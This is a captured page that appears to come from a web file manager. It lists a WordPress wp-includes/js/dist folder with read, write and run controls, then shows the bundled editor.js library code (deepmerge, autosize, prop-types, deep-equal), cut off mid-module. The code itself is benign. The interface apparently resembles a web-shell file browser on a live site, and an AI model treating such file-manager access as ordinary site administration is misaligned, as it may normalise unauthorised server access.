at path:ROOT / wp-includes / js / dist / editor.js
run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.24 KB
2025-12-03 06:22:56
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.18 KB
2025-12-03 06:22:56
R W Run
22.91 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
23.02 KB
2025-12-03 06:22:56
R W Run
12.74 KB
2025-12-03 06:22:56
R W Run
17.03 KB
2025-12-03 06:22:56
R W Run
12.56 KB
2024-01-31 12:59:56
R W Run
7.34 KB
2025-12-03 06:22:56
R W Run
7.15 KB
2025-12-03 06:22:56
R W Run
10.17 KB
2025-12-03 06:22:56
R W Run
8.16 KB
2024-01-31 12:59:56
R W Run
77.3 KB
2025-12-03 06:22:56
R W Run
27.26 KB
2025-12-03 06:22:56
R W Run
2.23 MB
2026-02-04 01:01:35
R W Run
878.41 KB
2026-02-04 01:01:35
R W Run
2.2 MB
2026-02-04 01:01:35
R W Run
967.08 KB
2026-02-04 01:01:35
R W Run
13.89 KB
2025-12-03 06:22:56
R W Run
9.42 KB
2024-01-31 12:59:56
R W Run
434.6 KB
2026-02-04 01:01:35
R W Run
179.81 KB
2026-02-04 01:01:35
R W Run
178.79 KB
2025-12-03 06:22:56
R W Run
55.84 KB
2025-12-03 06:22:56
R W Run
2.39 MB
2026-02-04 01:01:35
R W Run
793.68 KB
2026-02-04 01:01:35
R W Run
149.99 KB
2025-12-03 06:22:56
R W Run
42.85 KB
2025-12-03 06:22:56
R W Run
32.74 KB
2025-12-03 06:22:56
R W Run
17.47 KB
2025-12-03 06:22:56
R W Run
223.77 KB
2025-12-03 06:22:56
R W Run
75.81 KB
2025-12-03 06:22:56
R W Run
93.53 KB
2025-12-03 06:22:56
R W Run
41.3 KB
2025-12-03 06:22:56
R W Run
11.46 KB
2025-12-03 06:22:56
R W Run
8.52 KB
2024-01-31 12:59:56
R W Run
95.23 KB
2025-12-03 06:22:56
R W Run
31.93 KB
2025-12-03 06:22:56
R W Run
797.94 KB
2025-12-03 06:22:56
R W Run
772.41 KB
2025-12-03 06:22:56
R W Run
9.33 KB
2025-12-03 06:22:56
R W Run
7.75 KB
2024-01-31 12:59:56
R W Run
8.65 KB
2025-12-03 06:22:56
R W Run
7.52 KB
2024-01-31 12:59:56
R W Run
41.26 KB
2025-12-03 06:22:56
R W Run
19.38 KB
2025-12-03 06:22:56
R W Run
111.74 KB
2025-12-03 06:22:56
R W Run
49.77 KB
2025-12-03 06:22:56
R W Run
1.77 MB
2026-02-04 01:01:35
R W Run
707.33 KB
2026-02-04 01:01:35
R W Run
159.45 KB
2025-12-03 06:22:56
R W Run
64.69 KB
2025-12-03 06:22:56
R W Run
1.1 MB
2026-02-04 01:01:35
R W Run
416.87 KB
2026-02-04 01:01:35
R W Run
53.25 KB
2025-12-03 06:22:56
R W Run
18.91 KB
2025-12-03 06:22:56
R W Run
10.07 KB
2025-12-03 06:22:56
R W Run
8.05 KB
2024-01-31 12:59:56
R W Run
78.51 KB
2026-02-04 01:01:35
R W Run
33.84 KB
2026-02-04 01:01:35
R W Run
22.72 KB
2025-12-03 06:22:56
R W Run
12.61 KB
2025-12-03 06:22:56
R W Run
9.37 KB
2025-12-03 06:22:56
R W Run
7.85 KB
2025-12-03 06:22:56
R W Run
31.42 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
10.36 KB
2025-12-03 06:22:56
R W Run
8.07 KB
2024-01-31 12:59:56
R W Run
16.3 KB
2025-12-03 06:22:56
R W Run
10.06 KB
2025-12-03 06:22:56
R W Run
14.97 KB
2025-12-03 06:22:56
R W Run
9.59 KB
2025-12-03 06:22:56
R W Run
451.81 KB
2025-12-03 06:22:56
R W Run
199.1 KB
2025-12-03 06:22:56
R W Run
37.03 KB
2025-12-03 06:22:56
R W Run
11.7 KB
2025-12-03 06:22:56
R W Run
30.42 KB
2025-12-03 06:22:56
R W Run
16.8 KB
2025-12-03 06:22:56
R W Run
12.92 KB
2025-12-03 06:22:56
R W Run
9.11 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.51 KB
2025-12-03 06:22:56
R W Run
67.39 KB
2025-12-03 06:22:56
R W Run
28.55 KB
2025-12-03 06:22:56
R W Run
20.73 KB
2025-12-03 06:22:56
R W Run
11.31 KB
2025-12-03 06:22:56
R W Run
23.9 KB
2025-12-03 06:22:56
R W Run
12.41 KB
2025-12-03 06:22:56
R W Run
27.34 KB
2025-12-03 06:22:56
R W Run
13.93 KB
2025-12-03 06:22:56
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
8.7 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.38 KB
2025-12-03 06:22:56
R W Run
12.42 KB
2025-12-03 06:22:56
R W Run
9.84 KB
2025-12-03 06:22:56
R W Run
28.3 KB
2025-12-03 06:22:56
R W Run
15.76 KB
2025-04-16 02:33:33
R W Run
25.52 KB
2025-12-03 06:22:56
R W Run
12.98 KB
2025-12-03 06:22:56
R W Run
90.6 KB
2025-12-03 06:22:56
R W Run
43.5 KB
2025-12-03 06:22:56
R W Run
59.35 KB
2025-12-03 06:22:56
R W Run
20.52 KB
2025-12-03 06:22:56
R W Run
16.76 KB
2025-12-03 06:22:56
R W Run
10.16 KB
2025-12-03 06:22:56
R W Run
16.91 KB
2025-12-03 06:22:56
R W Run
9.91 KB
2025-12-03 06:22:56
R W Run
42.2 KB
2025-12-03 06:22:56
R W Run
13 KB
2025-12-03 06:22:56
R W Run
12.94 KB
2025-12-03 06:22:56
R W Run
8.35 KB
2025-12-03 06:22:56
R W Run
27.33 KB
2025-12-03 06:22:56
R W Run
15.41 KB
2025-12-03 06:22:56
R W Run
13.37 KB
2025-12-03 06:22:56
R W Run
8.91 KB
2025-12-03 06:22:56
R W Run
14.88 KB
2025-12-03 06:22:56
R W Run
9.76 KB
2025-12-03 06:22:56
R W Run
8.68 KB
2025-12-03 06:22:56
R W Run
7.37 KB
2025-12-03 06:22:56
R W Run
54.69 KB
2025-12-03 06:22:56
R W Run
26.58 KB
2025-12-03 06:22:56
R W Run
20.33 KB
2025-12-03 06:22:56
R W Run
10.32 KB
2025-12-03 06:22:56
R W Run
error_log
📄editor.js
1/******/ (() => { // webpackBootstrap
2/******/ var __webpack_modules__ = ({
3
4/***/ 66:
5/***/ ((module) => {
6
7"use strict";
8
9
10var isMergeableObject = function isMergeableObject(value) {
11 return isNonNullObject(value)
12 && !isSpecial(value)
13};
14
15function isNonNullObject(value) {
16 return !!value && typeof value === 'object'
17}
18
19function isSpecial(value) {
20 var stringValue = Object.prototype.toString.call(value);
21
22 return stringValue === '[object RegExp]'
23 || stringValue === '[object Date]'
24 || isReactElement(value)
25}
26
27// see https://github.com/facebook/react/blob/b5ac963fb791d1298e7f396236383bc955f916c1/src/isomorphic/classic/element/ReactElement.js#L21-L25
28var canUseSymbol = typeof Symbol === 'function' && Symbol.for;
29var REACT_ELEMENT_TYPE = canUseSymbol ? Symbol.for('react.element') : 0xeac7;
30
31function isReactElement(value) {
32 return value.$$typeof === REACT_ELEMENT_TYPE
33}
34
35function emptyTarget(val) {
36 return Array.isArray(val) ? [] : {}
37}
38
39function cloneUnlessOtherwiseSpecified(value, options) {
40 return (options.clone !== false && options.isMergeableObject(value))
41 ? deepmerge(emptyTarget(value), value, options)
42 : value
43}
44
45function defaultArrayMerge(target, source, options) {
46 return target.concat(source).map(function(element) {
47 return cloneUnlessOtherwiseSpecified(element, options)
48 })
49}
50
51function getMergeFunction(key, options) {
52 if (!options.customMerge) {
53 return deepmerge
54 }
55 var customMerge = options.customMerge(key);
56 return typeof customMerge === 'function' ? customMerge : deepmerge
57}
58
59function getEnumerableOwnPropertySymbols(target) {
60 return Object.getOwnPropertySymbols
61 ? Object.getOwnPropertySymbols(target).filter(function(symbol) {
62 return Object.propertyIsEnumerable.call(target, symbol)
63 })
64 : []
65}
66
67function getKeys(target) {
68 return Object.keys(target).concat(getEnumerableOwnPropertySymbols(target))
69}
70
71function propertyIsOnObject(object, property) {
72 try {
73 return property in object
74 } catch(_) {
75 return false
76 }
77}
78
79// Protects from prototype poisoning and unexpected merging up the prototype chain.
80function propertyIsUnsafe(target, key) {
81 return propertyIsOnObject(target, key) // Properties are safe to merge if they don't exist in the target yet,
82 && !(Object.hasOwnProperty.call(target, key) // unsafe if they exist up the prototype chain,
83 && Object.propertyIsEnumerable.call(target, key)) // and also unsafe if they're nonenumerable.
84}
85
86function mergeObject(target, source, options) {
87 var destination = {};
88 if (options.isMergeableObject(target)) {
89 getKeys(target).forEach(function(key) {
90 destination[key] = cloneUnlessOtherwiseSpecified(target[key], options);
91 });
92 }
93 getKeys(source).forEach(function(key) {
94 if (propertyIsUnsafe(target, key)) {
95 return
96 }
97
98 if (propertyIsOnObject(target, key) && options.isMergeableObject(source[key])) {
99 destination[key] = getMergeFunction(key, options)(target[key], source[key], options);
100 } else {
101 destination[key] = cloneUnlessOtherwiseSpecified(source[key], options);
102 }
103 });
104 return destination
105}
106
107function deepmerge(target, source, options) {
108 options = options || {};
109 options.arrayMerge = options.arrayMerge || defaultArrayMerge;
110 options.isMergeableObject = options.isMergeableObject || isMergeableObject;
111 // cloneUnlessOtherwiseSpecified is added to `options` so that custom arrayMerge()
112 // implementations can use it. The caller may not replace it.
113 options.cloneUnlessOtherwiseSpecified = cloneUnlessOtherwiseSpecified;
114
115 var sourceIsArray = Array.isArray(source);
116 var targetIsArray = Array.isArray(target);
117 var sourceAndTargetTypesMatch = sourceIsArray === targetIsArray;
118
119 if (!sourceAndTargetTypesMatch) {
120 return cloneUnlessOtherwiseSpecified(source, options)
121 } else if (sourceIsArray) {
122 return options.arrayMerge(target, source, options)
123 } else {
124 return mergeObject(target, source, options)
125 }
126}
127
128deepmerge.all = function deepmergeAll(array, options) {
129 if (!Array.isArray(array)) {
130 throw new Error('first argument should be an array')
131 }
132
133 return array.reduce(function(prev, next) {
134 return deepmerge(prev, next, options)
135 }, {})
136};
137
138var deepmerge_1 = deepmerge;
139
140module.exports = deepmerge_1;
141
142
143/***/ }),
144
145/***/ 461:
146/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
147
148// Load in dependencies
149var computedStyle = __webpack_require__(6109);
150
151/**
152 * Calculate the `line-height` of a given node
153 * @param {HTMLElement} node Element to calculate line height of. Must be in the DOM.
154 * @returns {Number} `line-height` of the element in pixels
155 */
156function lineHeight(node) {
157 // Grab the line-height via style
158 var lnHeightStr = computedStyle(node, 'line-height');
159 var lnHeight = parseFloat(lnHeightStr, 10);
160
161 // If the lineHeight did not contain a unit (i.e. it was numeric), convert it to ems (e.g. '2.3' === '2.3em')
162 if (lnHeightStr === lnHeight + '') {
163 // Save the old lineHeight style and update the em unit to the element
164 var _lnHeightStyle = node.style.lineHeight;
165 node.style.lineHeight = lnHeightStr + 'em';
166
167 // Calculate the em based height
168 lnHeightStr = computedStyle(node, 'line-height');
169 lnHeight = parseFloat(lnHeightStr, 10);
170
171 // Revert the lineHeight style
172 if (_lnHeightStyle) {
173 node.style.lineHeight = _lnHeightStyle;
174 } else {
175 delete node.style.lineHeight;
176 }
177 }
178
179 // If the lineHeight is in `pt`, convert it to pixels (4px for 3pt)
180 // DEV: `em` units are converted to `pt` in IE6
181 // Conversion ratio from https://developer.mozilla.org/en-US/docs/Web/CSS/length
182 if (lnHeightStr.indexOf('pt') !== -1) {
183 lnHeight *= 4;
184 lnHeight /= 3;
185 // Otherwise, if the lineHeight is in `mm`, convert it to pixels (96px for 25.4mm)
186 } else if (lnHeightStr.indexOf('mm') !== -1) {
187 lnHeight *= 96;
188 lnHeight /= 25.4;
189 // Otherwise, if the lineHeight is in `cm`, convert it to pixels (96px for 2.54cm)
190 } else if (lnHeightStr.indexOf('cm') !== -1) {
191 lnHeight *= 96;
192 lnHeight /= 2.54;
193 // Otherwise, if the lineHeight is in `in`, convert it to pixels (96px for 1in)
194 } else if (lnHeightStr.indexOf('in') !== -1) {
195 lnHeight *= 96;
196 // Otherwise, if the lineHeight is in `pc`, convert it to pixels (12pt for 1pc)
197 } else if (lnHeightStr.indexOf('pc') !== -1) {
198 lnHeight *= 16;
199 }
200
201 // Continue our computation
202 lnHeight = Math.round(lnHeight);
203
204 // If the line-height is "normal", calculate by font-size
205 if (lnHeightStr === 'normal') {
206 // Create a temporary node
207 var nodeName = node.nodeName;
208 var _node = document.createElement(nodeName);
209 _node.innerHTML = ' ';
210
211 // If we have a text area, reset it to only 1 row
212 // https://github.com/twolfson/line-height/issues/4
213 if (nodeName.toUpperCase() === 'TEXTAREA') {
214 _node.setAttribute('rows', '1');
215 }
216
217 // Set the font-size of the element
218 var fontSizeStr = computedStyle(node, 'font-size');
219 _node.style.fontSize = fontSizeStr;
220
221 // Remove default padding/border which can affect offset height
222 // https://github.com/twolfson/line-height/issues/4
223 // https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/offsetHeight
224 _node.style.padding = '0px';
225 _node.style.border = '0px';
226
227 // Append it to the body
228 var body = document.body;
229 body.appendChild(_node);
230
231 // Assume the line height of the element is the height
232 var height = _node.offsetHeight;
233 lnHeight = height;
234
235 // Remove our child from the DOM
236 body.removeChild(_node);
237 }
238
239 // Return the calculated height
240 return lnHeight;
241}
242
243// Export lineHeight
244module.exports = lineHeight;
245
246
247/***/ }),
248
249/***/ 628:
250/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
251
252"use strict";
253/**
254 * Copyright (c) 2013-present, Facebook, Inc.
255 *
256 * This source code is licensed under the MIT license found in the
257 * LICENSE file in the root directory of this source tree.
258 */
259
260
261
262var ReactPropTypesSecret = __webpack_require__(4067);
263
264function emptyFunction() {}
265function emptyFunctionWithReset() {}
266emptyFunctionWithReset.resetWarningCache = emptyFunction;
267
268module.exports = function() {
269 function shim(props, propName, componentName, location, propFullName, secret) {
270 if (secret === ReactPropTypesSecret) {
271 // It is still safe when called from React.
272 return;
273 }
274 var err = new Error(
275 'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +
276 'Use PropTypes.checkPropTypes() to call them. ' +
277 'Read more at http://fb.me/use-check-prop-types'
278 );
279 err.name = 'Invariant Violation';
280 throw err;
281 };
282 shim.isRequired = shim;
283 function getShim() {
284 return shim;
285 };
286 // Important!
287 // Keep this list in sync with production version in `./factoryWithTypeCheckers.js`.
288 var ReactPropTypes = {
289 array: shim,
290 bigint: shim,
291 bool: shim,
292 func: shim,
293 number: shim,
294 object: shim,
295 string: shim,
296 symbol: shim,
297
298 any: shim,
299 arrayOf: getShim,
300 element: shim,
301 elementType: shim,
302 instanceOf: getShim,
303 node: shim,
304 objectOf: getShim,
305 oneOf: getShim,
306 oneOfType: getShim,
307 shape: getShim,
308 exact: getShim,
309
310 checkPropTypes: emptyFunctionWithReset,
311 resetWarningCache: emptyFunction
312 };
313
314 ReactPropTypes.PropTypes = ReactPropTypes;
315
316 return ReactPropTypes;
317};
318
319
320/***/ }),
321
322/***/ 1609:
323/***/ ((module) => {
324
325"use strict";
326module.exports = window["React"];
327
328/***/ }),
329
330/***/ 4067:
331/***/ ((module) => {
332
333"use strict";
334/**
335 * Copyright (c) 2013-present, Facebook, Inc.
336 *
337 * This source code is licensed under the MIT license found in the
338 * LICENSE file in the root directory of this source tree.
339 */
340
341
342
343var ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED';
344
345module.exports = ReactPropTypesSecret;
346
347
348/***/ }),
349
350/***/ 4132:
351/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
352
353"use strict";
354var __webpack_unused_export__;
355
356__webpack_unused_export__ = true;
357var TextareaAutosize_1 = __webpack_require__(4462);
358exports.A = TextareaAutosize_1.TextareaAutosize;
359
360
361/***/ }),
362
363/***/ 4306:
364/***/ (function(module, exports) {
365
366var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
367 autosize 4.0.4
368 license: MIT
369 http://www.jacklmoore.com/autosize
370*/
371(function (global, factory) {
372 if (true) {
373 !(__WEBPACK_AMD_DEFINE_ARRAY__ = [module, exports], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
374 __WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
375 (__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
376 __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
377 } else { var mod; }
378})(this, function (module, exports) {
379 'use strict';
380
381 var map = typeof Map === "function" ? new Map() : function () {
382 var keys = [];
383 var values = [];
384
385 return {
386 has: function has(key) {
387 return keys.indexOf(key) > -1;
388 },
389 get: function get(key) {
390 return values[keys.indexOf(key)];
391 },
392 set: function set(key, value) {
393 if (keys.indexOf(key) === -1) {
394 keys.push(key);
395 values.push(value);
396 }
397 },
398 delete: function _delete(key) {
399 var index = keys.indexOf(key);
400 if (index > -1) {
401 keys.splice(index, 1);
402 values.splice(index, 1);
403 }
404 }
405 };
406 }();
407
408 var createEvent = function createEvent(name) {
409 return new Event(name, { bubbles: true });
410 };
411 try {
412 new Event('test');
413 } catch (e) {
414 // IE does not support `new Event()`
415 createEvent = function createEvent(name) {
416 var evt = document.createEvent('Event');
417 evt.initEvent(name, true, false);
418 return evt;
419 };
420 }
421
422 function assign(ta) {
423 if (!ta || !ta.nodeName || ta.nodeName !== 'TEXTAREA' || map.has(ta)) return;
424
425 var heightOffset = null;
426 var clientWidth = null;
427 var cachedHeight = null;
428
429 function init() {
430 var style = window.getComputedStyle(ta, null);
431
432 if (style.resize === 'vertical') {
433 ta.style.resize = 'none';
434 } else if (style.resize === 'both') {
435 ta.style.resize = 'horizontal';
436 }
437
438 if (style.boxSizing === 'content-box') {
439 heightOffset = -(parseFloat(style.paddingTop) + parseFloat(style.paddingBottom));
440 } else {
441 heightOffset = parseFloat(style.borderTopWidth) + parseFloat(style.borderBottomWidth);
442 }
443 // Fix when a textarea is not on document body and heightOffset is Not a Number
444 if (isNaN(heightOffset)) {
445 heightOffset = 0;
446 }
447
448 update();
449 }
450
451 function changeOverflow(value) {
452 {
453 // Chrome/Safari-specific fix:
454 // When the textarea y-overflow is hidden, Chrome/Safari do not reflow the text to account for the space
455 // made available by removing the scrollbar. The following forces the necessary text reflow.
456 var width = ta.style.width;
457 ta.style.width = '0px';
458 // Force reflow:
459 /* jshint ignore:start */
460 ta.offsetWidth;
461 /* jshint ignore:end */
462 ta.style.width = width;
463 }
464
465 ta.style.overflowY = value;
466 }
467
468 function getParentOverflows(el) {
469 var arr = [];
470
471 while (el && el.parentNode && el.parentNode instanceof Element) {
472 if (el.parentNode.scrollTop) {
473 arr.push({
474 node: el.parentNode,
475 scrollTop: el.parentNode.scrollTop
476 });
477 }
478 el = el.parentNode;
479 }
480
481 return arr;
482 }
483
484 function resize() {
485 if (ta.scrollHeight === 0) {
486 // If the scrollHeight is 0, then the element probably has display:none or is detached from the DOM.
487 return;
488 }
489
490 var overflows = getParentOverflows(ta);
491 var docTop = document.documentElement && document.documentElement.scrollTop; // Needed for Mobile IE (ticket #240)
492
493 ta.style.height = '';
494 ta.style.height = ta.scrollHeight + heightOffset + 'px';
495
496 // used to check if an update is actually necessary on window.resize
497 clientWidth = ta.clientWidth;
498
499 // prevents scroll-position jumping
500 overflows.forEach(function (el) {
501 el.node.scrollTop = el.scrollTop;
502 });
503
504 if (docTop) {
505 document.documentElement.scrollTop = docTop;
506 }
507 }
508
509 function update() {
510 resize();
511
512 var styleHeight = Math.round(parseFloat(ta.style.height));
513 var computed = window.getComputedStyle(ta, null);
514
515 // Using offsetHeight as a replacement for computed.height in IE, because IE does not account use of border-box
516 var actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(computed.height)) : ta.offsetHeight;
517
518 // The actual height not matching the style height (set via the resize method) indicates that
519 // the max-height has been exceeded, in which case the overflow should be allowed.
520 if (actualHeight < styleHeight) {
521 if (computed.overflowY === 'hidden') {
522 changeOverflow('scroll');
523 resize();
524 actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(window.getComputedStyle(ta, null).height)) : ta.offsetHeight;
525 }
526 } else {
527 // Normally keep overflow set to hidden, to avoid flash of scrollbar as the textarea expands.
528 if (computed.overflowY !== 'hidden') {
529 changeOverflow('hidden');
530 resize();
531 actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(window.getComputedStyle(ta, null).height)) : ta.offsetHeight;
532 }
533 }
534
535 if (cachedHeight !== actualHeight) {
536 cachedHeight = actualHeight;
537 var evt = createEvent('autosize:resized');
538 try {
539 ta.dispatchEvent(evt);
540 } catch (err) {
541 // Firefox will throw an error on dispatchEvent for a detached element
542 // https://bugzilla.mozilla.org/show_bug.cgi?id=889376
543 }
544 }
545 }
546
547 var pageResize = function pageResize() {
548 if (ta.clientWidth !== clientWidth) {
549 update();
550 }
551 };
552
553 var destroy = function (style) {
554 window.removeEventListener('resize', pageResize, false);
555 ta.removeEventListener('input', update, false);
556 ta.removeEventListener('keyup', update, false);
557 ta.removeEventListener('autosize:destroy', destroy, false);
558 ta.removeEventListener('autosize:update', update, false);
559
560 Object.keys(style).forEach(function (key) {
561 ta.style[key] = style[key];
562 });
563
564 map.delete(ta);
565 }.bind(ta, {
566 height: ta.style.height,
567 resize: ta.style.resize,
568 overflowY: ta.style.overflowY,
569 overflowX: ta.style.overflowX,
570 wordWrap: ta.style.wordWrap
571 });
572
573 ta.addEventListener('autosize:destroy', destroy, false);
574
575 // IE9 does not fire onpropertychange or oninput for deletions,
576 // so binding to onkeyup to catch most of those events.
577 // There is no way that I know of to detect something like 'cut' in IE9.
578 if ('onpropertychange' in ta && 'oninput' in ta) {
579 ta.addEventListener('keyup', update, false);
580 }
581
582 window.addEventListener('resize', pageResize, false);
583 ta.addEventListener('input', update, false);
584 ta.addEventListener('autosize:update', update, false);
585 ta.style.overflowX = 'hidden';
586 ta.style.wordWrap = 'break-word';
587
588 map.set(ta, {
589 destroy: destroy,
590 update: update
591 });
592
593 init();
594 }
595
596 function destroy(ta) {
597 var methods = map.get(ta);
598 if (methods) {
599 methods.destroy();
600 }
601 }
602
603 function update(ta) {
604 var methods = map.get(ta);
605 if (methods) {
606 methods.update();
607 }
608 }
609
610 var autosize = null;
611
612 // Do nothing in Node.js environment and IE8 (or lower)
613 if (typeof window === 'undefined' || typeof window.getComputedStyle !== 'function') {
614 autosize = function autosize(el) {
615 return el;
616 };
617 autosize.destroy = function (el) {
618 return el;
619 };
620 autosize.update = function (el) {
621 return el;
622 };
623 } else {
624 autosize = function autosize(el, options) {
625 if (el) {
626 Array.prototype.forEach.call(el.length ? el : [el], function (x) {
627 return assign(x, options);
628 });
629 }
630 return el;
631 };
632 autosize.destroy = function (el) {
633 if (el) {
634 Array.prototype.forEach.call(el.length ? el : [el], destroy);
635 }
636 return el;
637 };
638 autosize.update = function (el) {
639 if (el) {
640 Array.prototype.forEach.call(el.length ? el : [el], update);
641 }
642 return el;
643 };
644 }
645
646 exports.default = autosize;
647 module.exports = exports['default'];
648});
649
650/***/ }),
651
652/***/ 4462:
653/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
654
655"use strict";
656
657var __extends = (this && this.__extends) || (function () {
658 var extendStatics = Object.setPrototypeOf ||
659 ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
660 function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
661 return function (d, b) {
662 extendStatics(d, b);
663 function __() { this.constructor = d; }
664 d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
665 };
666})();
667var __assign = (this && this.__assign) || Object.assign || function(t) {
668 for (var s, i = 1, n = arguments.length; i < n; i++) {
669 s = arguments[i];
670 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
671 t[p] = s[p];
672 }
673 return t;
674};
675var __rest = (this && this.__rest) || function (s, e) {
676 var t = {};
677 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
678 t[p] = s[p];
679 if (s != null && typeof Object.getOwnPropertySymbols === "function")
680 for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) if (e.indexOf(p[i]) < 0)
681 t[p[i]] = s[p[i]];
682 return t;
683};
684exports.__esModule = true;
685var React = __webpack_require__(1609);
686var PropTypes = __webpack_require__(5826);
687var autosize = __webpack_require__(4306);
688var _getLineHeight = __webpack_require__(461);
689var getLineHeight = _getLineHeight;
690var RESIZED = "autosize:resized";
691/**
692 * A light replacement for built-in textarea component
693 * which automaticaly adjusts its height to match the content
694 */
695var TextareaAutosizeClass = /** @class */ (function (_super) {
696 __extends(TextareaAutosizeClass, _super);
697 function TextareaAutosizeClass() {
698 var _this = _super !== null && _super.apply(this, arguments) || this;
699 _this.state = {
700 lineHeight: null
701 };
702 _this.textarea = null;
703 _this.onResize = function (e) {
704 if (_this.props.onResize) {
705 _this.props.onResize(e);
706 }
707 };
708 _this.updateLineHeight = function () {
709 if (_this.textarea) {
710 _this.setState({
711 lineHeight: getLineHeight(_this.textarea)
712 });
713 }
714 };
715 _this.onChange = function (e) {
716 var onChange = _this.props.onChange;
717 _this.currentValue = e.currentTarget.value;
718 onChange && onChange(e);
719 };
720 return _this;
721 }
722 TextareaAutosizeClass.prototype.componentDidMount = function () {
723 var _this = this;
724 var _a = this.props, maxRows = _a.maxRows, async = _a.async;
725 if (typeof maxRows === "number") {
726 this.updateLineHeight();
727 }
728 if (typeof maxRows === "number" || async) {
729 /*
730 the defer is needed to:
731 - force "autosize" to activate the scrollbar when this.props.maxRows is passed
732 - support StyledComponents (see #71)
733 */
734 setTimeout(function () { return _this.textarea && autosize(_this.textarea); });
735 }
736 else {
737 this.textarea && autosize(this.textarea);
738 }
739 if (this.textarea) {
740 this.textarea.addEventListener(RESIZED, this.onResize);
741 }
742 };
743 TextareaAutosizeClass.prototype.componentWillUnmount = function () {
744 if (this.textarea) {
745 this.textarea.removeEventListener(RESIZED, this.onResize);
746 autosize.destroy(this.textarea);
747 }
748 };
749 TextareaAutosizeClass.prototype.render = function () {
750 var _this = this;
751 var _a = this, _b = _a.props, onResize = _b.onResize, maxRows = _b.maxRows, onChange = _b.onChange, style = _b.style, innerRef = _b.innerRef, children = _b.children, props = __rest(_b, ["onResize", "maxRows", "onChange", "style", "innerRef", "children"]), lineHeight = _a.state.lineHeight;
752 var maxHeight = maxRows && lineHeight ? lineHeight * maxRows : null;
753 return (React.createElement("textarea", __assign({}, props, { onChange: this.onChange, style: maxHeight ? __assign({}, style, { maxHeight: maxHeight }) : style, ref: function (element) {
754 _this.textarea = element;
755 if (typeof _this.props.innerRef === 'function') {
756 _this.props.innerRef(element);
757 }
758 else if (_this.props.innerRef) {
759 _this.props.innerRef.current = element;
760 }
761 } }), children));
762 };
763 TextareaAutosizeClass.prototype.componentDidUpdate = function () {
764 this.textarea && autosize.update(this.textarea);
765 };
766 TextareaAutosizeClass.defaultProps = {
767 rows: 1,
768 async: false
769 };
770 TextareaAutosizeClass.propTypes = {
771 rows: PropTypes.number,
772 maxRows: PropTypes.number,
773 onResize: PropTypes.func,
774 innerRef: PropTypes.any,
775 async: PropTypes.bool
776 };
777 return TextareaAutosizeClass;
778}(React.Component));
779exports.TextareaAutosize = React.forwardRef(function (props, ref) {
780 return React.createElement(TextareaAutosizeClass, __assign({}, props, { innerRef: ref }));
781});
782
783
784/***/ }),
785
786/***/ 5215:
787/***/ ((module) => {
788
789"use strict";
790
791
792// do not edit .js files directly - edit src/index.jst
793
794
795
796module.exports = function equal(a, b) {
797 if (a === b) return true;
798
799 if (a && b && typeof a == 'object' && typeof b == 'object') {
800 if (a.constructor !== b.constructor) return false;
801
802 var length, i, keys;
803 if (Array.isArray(a)) {
804 length = a.length;
805 if (length != b.length) return false;
806 for (i = length; i-- !== 0;)
807 if (!equal(a[i], b[i])) return false;
808 return true;
809 }
810
811
812
813 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
814 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
815 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
816
817 keys = Object.keys(a);
818 length = keys.length;
819 if (length !== Object.keys(b).length) return false;
820
821 for (i = length; i-- !== 0;)
822 if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
823
824 for (i = length; i-- !== 0;) {
825 var key = keys[i];
826
827 if (!equal(a[key], b[key])) return false;
828 }
829
830 return true;
831 }
832
833 // true if both NaN, false otherwise
834 return a!==a && b!==b;
835};
836
837
838/***/ }),
839
840/***/ 5826:
841/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
842
843/**
844 * Copyright (c) 2013-present, Facebook, Inc.
845 *
846 * This source code is licensed under the MIT license found in the
847 * LICENSE file in the root directory of this source tree.
848 */
849
850if (false) { var throwOnDirectAccess, ReactIs; } else {
851 // By explicitly using `prop-types` you are opting into new production behavior.
852 // http://fb.me/prop-types-in-prod
853 module.exports = __webpack_require__(628)();
854}
855
856
857/***/ }),
858
859/***/ 6109:
860/***/ ((module) => {
861
862// This code has been refactored for 140 bytes
